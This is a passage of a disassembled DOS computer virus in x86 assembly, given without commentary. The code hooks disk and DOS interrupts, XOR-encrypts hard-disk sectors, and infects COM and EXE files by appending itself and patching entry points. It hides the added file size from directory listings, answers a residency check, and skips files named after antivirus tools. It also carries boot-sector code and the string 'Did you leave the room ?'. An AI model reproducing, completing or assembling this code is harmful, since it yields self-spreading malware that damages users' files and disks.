locloop_81: xor word ptr es:[bx],2B28h inc bx inc bx loop locloop_81 ; Loop if cx > 0 dec al jnz loc_80 ; Jump if not zero pop cx pop bx pop ax retn sub_17 endp ;* No entry point to code cmp ah,2 je loc_82 ; Jump if equal cmp ah,3 je loc_82 ; Jump if equal jmp loc_97 loc_82: cmp dx,80h jne loc_91 ; Jump if not equal test cx,0FFC0h jnz loc_91 ; Jump if not zero push bx push dx push si push di push cx push cx mov si,ax and si,0FFh mov di,si mov al,1 push ax jz loc_86 ; Jump if zero jcxz loc_90 ; Jump if cx=0 cmp cl,1 je loc_88 ; Jump if equal loc_83: cmp cl,11h ja loc_90 ; Jump if above cmp cl,0Ah jb loc_89 ; Jump if below cmp ah,3 je loc_90 ; Jump if equal push bx mov cx,200h locloop_84: mov byte ptr es:[bx],0 inc bx loop locloop_84 ; Loop if cx > 0 pop bx loc_85: add bx,200h pop ax pop cx inc cx push cx push ax dec si jnz loc_83 ; Jump if not zero loc_86: clc ; Clear carry flag loc_87: pop ax pushf ; Push flags xchg di,ax sub ax,si popf ; Pop flags mov ah,ch pop cx pop cx pop di pop si pop dx pop bx retf 2 ; Return far loc_88: mov cl,byte ptr cs:[0E7Fh] loc_89: call sub_15 mov ch,ah jc loc_87 ; Jump if carry Set jmp short loc_85 loc_90: stc ; Set carry flag mov ch,0BBh jmp short loc_87 loc_91: cmp dl,80h jne loc_97 ; Jump if not equal push ax push cx push dx push si push ds push cs pop ds mov byte ptr ds:[0E2Dh],0 mov word ptr ds:[0E2Fh],bx call sub_16 and cl,3Fh ; '?' and dh,3Fh ; '?' loc_92: or al,al ; Zero ? jz loc_95 ; Jump if zero cmp si,332h jae loc_95 ; Jump if above or = cmp si,1234h jb loc_93 ; Jump if below inc byte ptr ds:[0E2Dh] jmp short loc_94 loc_93: add word ptr ds:[0E2Fh],200h loc_94: dec al inc cl cmp cl,11h jbe loc_92 ; Jump if below or = mov cl,1 inc dh cmp dh,5 jbe loc_92 ; Jump if below or = xor dh,dh ; Zero register inc si jmp short loc_92 loc_95: cmp byte ptr ds:[0E2Dh],0 pop ds pop si pop dx pop cx pop ax jz loc_97 ; Jump if zero cmp ah,2 je loc_96 ; Jump if equal call sub_17 loc_96: call sub_15 pushf ; Push flags call sub_17 popf ; Pop flags retf 2 ; Return far loc_97: ;* jmp far ptr loc_3 ;* db 0EAh dw 40B4h, 2EBh ; Fixup - byte match ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_19 proc near mov ah,3Fh ; '?' call sub_24 jc loc_ret_98 ; Jump if carry Set cmp ax,cx loc_ret_98: retn sub_19 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_20 proc near xor cx,cx ; Zero register mov dx,cx ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_21: mov ax,4200h jmp short loc_99 ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_22: xor cx,cx ; Zero register mov dx,cx ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_23: mov ax,4202h ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_24: loc_99: mov bx,cs:data_107e ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_25: pushf ; Push flags cli ; Disable interrupts call dword ptr cs:[0DE8h] retn sub_20 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_26 proc near mov bp,sp mov ax,5700h call sub_24 mov bx,data_111e mov [bx],cx mov [bx+2],dx call sub_31 jc loc_102 ; Jump if carry Set mov dx,1Eh call sub_9 or dx,dx ; Zero ? jz loc_100 ; Jump if zero mov [bx],ax loc_100: mov word ptr ds:[74Ah],40h mov dx,0FFFFh push dx call sub_9 mov word ptr ds:[5B7h],dx mov word ptr ds:[0DFAh],dx pop dx call sub_9 mov word ptr ds:[5BFh],dx mov word ptr ds:[0E02h],dx call sub_20 mov cx,1Ah mov dx,0F45h push dx call sub_19 jc loc_104 ; Jump if carry Set xchg si,dx mov di,data_23e rep movsb ; Rep when cx >0 Mov [si] to es:[di] call sub_22 mov si,ax mov di,dx pop bx cmp word ptr [bx],4D5Ah je loc_101 ; Jump if equal cmp word ptr [bx],5A4Dh je loc_101 ; Jump if equal mov byte ptr ds:data_27e,0 cmp ax,0EFA6h cmc ; Complement carry jc loc_104 ; Jump if carry Set mov ax,3 cwd ; Word to double word push bx jmp short loc_103 loc_101: mov byte ptr ds:data_27e,1 mov ax,[bx+4] mul word ptr ds:data_42e ; ax = data * ax sub ax,si sbb dx,di loc_102: jc loc_104 ; Jump if carry Set mov ax,[bx+8] mul word ptr ds:data_40e ; ax = data * ax push bx push ax push dx loc_103: sub si,ax sbb di,dx or di,di ; Zero ? jnz loc_105 ; Jump if not zero mov dx,si sub dx,3E8h loc_104: jc loc_110 ; Jump if carry Set cmp dx,7D0h jbe loc_106 ; Jump if below or = loc_105: mov dx,7D0h loc_106: call sub_9 add dx,3E8h mov word ptr ds:[5B3h],dx add dx,1058h cmp byte ptr ds:data_27e,0 je loc_107 ; Jump if equal mov ds:data_108e,dx loc_107: add dx,0FD80h mov word ptr ds:[5C6h],dx add dx,0F577h mov ds:data_33e,dx add dx,0FCA8h mov data_76,dx add dx,8 not dx mov cx,0FFFFh call sub_23 mov word ptr ds:[736h],dx mov word ptr ds:[739h],ax cmp byte ptr ds:data_27e,0 jne loc_108 ; Jump if not equal xchg dx,ax add dx,100h jmp short loc_109 loc_108: pop di pop si sub ax,si sbb dx,di div word ptr ds:data_40e ; ax,dxrem=dx:ax/data loc_109: add word ptr ds:[5B3h],dx add word ptr ds:[5C6h],dx push ax push dx call sub_13 loc_110: jc loc_115 ; Jump if carry Set pop dx pop ax mov cx,0Ah mov si,data_30e locloop_111: add [si],dx inc si inc si loop locloop_111 ; Loop if cx > 0 pop bx cmp byte ptr ds:data_27e,0 jne loc_112 ; Jump if not equal mov byte ptr [bx],0E9h mov ax,ds:data_30e sub ax,103h mov [bx+1],ax mov word ptr ds:data_25e,0 mov word ptr ds:data_29e,0FFF0h mov word ptr ds:data_28e,100h jmp short loc_114 loc_112: mov [bx+16h],ax mov [bx+0Eh],ax mov ax,ds:data_30e mov [bx+14h],ax add [bx+10h],dx mov word ptr [bx+6],0 mov ax,28h cmp [bx+0Ah],ax jae loc_113 ; Jump if above or = mov [bx+0Ah],ax loc_113: cmp [bx+0Ch],ax jae loc_114 ; Jump if above or = mov [bx+0Ch],ax loc_114: push bx call sub_22 call sub_34 loc_115: jc loc_117 ; Jump if carry Set call sub_22 div word ptr ds:data_42e ; ax,dxrem=dx:ax/data inc ax pop bx cmp byte ptr ds:data_27e,0 je loc_116 ; Jump if equal mov [bx+4],ax mov [bx+2],dx loc_116: push bx call sub_20 mov cx,1Ah pop dx ;* call sub_18 ;* db 0E8h, 30h,0FEh ; Fixup - byte match jc loc_117 ; Jump if carry Set mov ax,5701h mov cx,ds:data_111e mov dx,ds:data_112e call sub_24 loc_117: mov sp,bp retn sub_26 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_27 proc near push dx push ds push cs pop ds mov ax,3524h call sub_25 mov word ptr ds:data_109e+2,es mov ds:data_109e,bx mov ax,2524h mov dx,0E09h call sub_25 pop ds pop dx retn sub_27 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_28 proc near mov ax,2524h lds dx,dword ptr cs:data_109e ; Load 32 bit ptr call sub_25 retn sub_28 endp ;* No entry point to code add al,2Eh ; '.' inc bx dec di dec bp add al,2Eh ; '.' inc bp pop ax inc bp add al,53h ; 'S' inc bx inc cx dec si add ax,4C43h inc bp inc cx dec si or [bp+49h],al dec si inc sp push si dec cx push dx push bp add ax,5547h inc cx push dx inc sp add cx,[bp+4Fh] inc sp add ax,5356h inc cx inc si inc bp add al,4Dh ; 'M' push bx inc cx push si push es inc bx dec ax dec bx inc sp push bx dec bx ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_29 proc near push dx push bx push cx push si push di push ds push es push ax mov si,dx mov di,data_114e push cs pop es lea bx,[di-1] ; Load effective addr mov cx,4Bh locloop_118: lodsb ; String [si] to al cmp al,61h ; 'a' jb loc_119 ; Jump if below cmp al,7Ah ; 'z' ja loc_119 ; Jump if above sub al,20h ; ' ' loc_119: push ax push si loc_120: cmp al,20h ; ' ' jne loc_121 ; Jump if not equal lodsb ; String [si] to al or al,al ; Zero ? jnz loc_120 ; Jump if not zero pop si pop si jmp short loc_123 loc_121: pop si pop ax cmp al,5Ch ; '\' je loc_122 ; Jump if equal cmp al,2Fh ; '/' je loc_122 ; Jump if equal cmp al,3Ah ; ':' jne loc_123 ; Jump if not equal loc_122: mov bx,di loc_123: stosb ; Store al to es:[di] or al,al ; Zero ? jz loc_124 ; Jump if zero loop locloop_118 ; Loop if cx > 0 loc_124: mov si,0ADCh sub di,5 push cs pop ds call sub_30 jz loc_125 ; Jump if zero call sub_30 jnz loc_129 ; Jump if not zero loc_125: pop ax push ax xchg di,bx inc di cmp ax,4B00h jne loc_126 ; Jump if not equal mov si,0B0Fh call sub_30 jnz loc_126 ; Jump if not zero mov byte ptr ds:[0C6Ah],2Dh ; '-' loc_126: mov cx,7 mov si,0AE6h locloop_127: push cx call sub_30 pop cx jz loc_129 ; Jump if zero loop locloop_127 ; Loop if cx > 0 mov si,data_114e xor bl,bl ; Zero register lodsw ; String [si] to ax cmp ah,3Ah ; ':' jne loc_128 ; Jump if not equal sub al,40h ; '@' mov bl,al loc_128: mov ax,4408h call sub_25 or ax,ax ; Zero ? jz loc_131 ; Jump if zero mov ax,4409h call sub_25 jc loc_129 ; Jump if carry Set test dh,10h jnz loc_131 ; Jump if not zero loc_129: stc ; Set carry flag loc_130: pop ax pop es pop ds pop di pop si pop cx pop bx pop dx retn loc_131: clc ; Clear carry flag jmp short loc_130 sub_29 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_30 proc near push di lodsb ; String [si] to al mov cl,al mov ax,si add ax,cx repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] mov si,ax pop di retn sub_30 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_31 proc near push dx mov ax,es:[bx+2] xor dx,dx ; Zero register div word ptr cs:data_41e ; ax,dxrem=dx:ax/data mov ax,es:[bx] and al,1Fh cmp al,dl stc ; Set carry flag jz loc_132 ; Jump if zero mov ax,es:[bx] and ax,0FFE0h or al,dl clc ; Clear carry flag loc_132: pop dx retn sub_31 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_32 proc near sub word ptr es:[bx],0DD8h sbb word ptr es:[bx+2],0 jnc loc_ret_133 ; Jump if carry=0 add word ptr es:[bx],0DD8h adc word ptr es:[bx+2],0 loc_ret_133: retn sub_32 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_33 proc near push ax push bx push cx push si push di push bp push ds push es call sub_27 mov ax,4300h call sub_25 mov word ptr cs:[0C4Ch],cx mov ax,4301h xor cx,cx ; Zero register call sub_25 jc loc_135 ; Jump if carry Set mov ax,3D02h call sub_25 jc loc_134 ; Jump if carry Set push dx push ds push cs pop ds push cs pop es mov ds:data_107e,ax call sub_26 mov ah,3Eh ; '>' call sub_24 pop ds pop dx loc_134: mov ax,4301h mov cx,20h call sub_25 loc_135: call sub_28 pop es pop ds pop bp pop di pop si pop cx pop bx pop ax retn sub_33 endp ;* No entry point to code pushf ; Push flags sti ; Enable interrupts cmp ah,11h je loc_136 ; Jump if equal cmp ah,12h jne loc_139 ; Jump if not equal loc_136: jmp short $+2 ; delay for I/O push bx push es push ax mov ah,2Fh ; '/' call sub_25 pop ax call sub_25 cmp al,0FFh je loc_138 ; Jump if equal push ax cmp byte ptr es:[bx],0FFh jne loc_137 ; Jump if not equal add bx,7 loc_137: add bx,17h call sub_31 pop ax jnc loc_138 ; Jump if carry=0 add bx,6 call sub_32 loc_138: pop es pop bx popf ; Pop flags iret ; Interrupt return loc_139: cmp ah,4Eh ; 'N' je loc_140 ; Jump if equal cmp ah,4Fh ; 'O' jne loc_143 ; Jump if not equal loc_140: push bx push es push ax mov ah,2Fh ; '/' call sub_25 pop ax call sub_25 jc loc_142 ; Jump if carry Set push ax add bx,16h call sub_31 pop ax jnc loc_141 ; Jump if carry=0 add bx,4 call sub_32 loc_141: pop es pop bx popf ; Pop flags clc ; Clear carry flag retf 2 ; Return far loc_142: pop es pop bx popf ; Pop flags stc ; Set carry flag retf 2 ; Return far loc_143: cmp ax,4B53h jne loc_144 ; Jump if not equal mov ax,454Bh popf ; Pop flags iret ; Interrupt return loc_144: cmp ah,4Ch ; 'L' jne loc_145 ; Jump if not equal mov byte ptr cs:[0C6Ah],0 loc_145: cld ; Clear direction push dx cmp ax,4B00h jne loc_149 ; Jump if not equal jmp short loc_148 ;* No entry point to code push ax push bx push ds push es mov ah,52h ; 'R' call sub_25 mov ax,es:[bx-2] loc_146: mov ds,ax add ax,ds:data_19e inc ax cmp byte ptr ds:data_18e,5Ah ; 'Z' jne loc_146 ; Jump if not equal mov bx,cs cmp ax,bx jne loc_147 ; Jump if not equal mov byte ptr ds:data_18e,4Dh ; 'M' xor ax,ax ; Zero register mov ds,ax add word ptr ds:main_ram_size_,4 loc_147: mov byte ptr cs:[0CEBh],39h ; '9' pop es pop ds pop bx pop ax loc_148: jmp short loc_153 loc_149: cmp ah,3Dh ; '=' je loc_153 ; Jump if equal cmp ah,56h ; 'V' je loc_153 ; Jump if equal cmp ax,6C00h jne loc_150 ; Jump if not equal test dl,12h mov dx,si jz loc_153 ; Jump if zero jmp short loc_154 loc_150: cmp ah,3Ch ; '<' je loc_154 ; Jump if equal cmp ah,5Bh ; '[' je loc_154 ; Jump if equal cmp ah,3Eh ; '>' jne loc_152 ; Jump if not equal cmp bx,cs:data_113e jne loc_152 ; Jump if not equal or bx,bx ; Zero ? jz loc_152 ; Jump if zero call sub_25 jc loc_155 ; Jump if carry Set push ds push cs pop ds mov dx,0F69h call sub_33 mov word ptr ds:data_113e,0 pop ds loc_151: pop dx popf ; Pop flags clc ; Clear carry flag retf 2 ; Return far loc_152: pop dx popf ; Pop flags jmp dword ptr cs:[0DE8h] loc_153: call sub_29 jc loc_152 ; Jump if carry Set call sub_33 jmp short loc_152 loc_154: cmp word ptr cs:data_113e,0 jne loc_152 ; Jump if not equal call sub_29 jc loc_152 ; Jump if carry Set mov word ptr cs:[0D9Dh],dx pop dx push dx call sub_25 mov dx,705Ah jnc loc_156 ; Jump if carry=0 loc_155: pop dx popf ; Pop flags stc ; Set carry flag retf 2 ; Return far loc_156: push cx push si push di push es xchg si,dx mov di,data_113e push cs pop es stosw ; Store ax to es:[di] mov cx,4Bh rep movsb ; Rep when cx >0 Mov [si] to es:[di] pop es pop di pop si pop cx jmp short loc_151 db 'Did you leave the room ?' db 0E9h, 04h ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_34 proc near cli ; Disable interrupts xor ax,ax ; Zero register mov ss,ax mov sp,7C00h mov si,sp push ax pop es push ax pop ds sti ; Enable interrupts cld ; Clear direction mov di,data_13e mov cx,100h repne movsw ; Rep zf=0+cx >0 Mov [si] to es:[di] ;* jmp far ptr loc_2 ;* sub_34 endp db 0EAh dw 61Dh, 0 ; Fixup - byte match ;* No entry point to code mov si,data_14e mov bl,4 cmp byte ptr [si],80h ;* je loc_157 ;*Jump if equal db 74h, 0Eh ; Fixup - byte match add byte ptr [bx+si],0 seg_a ends end start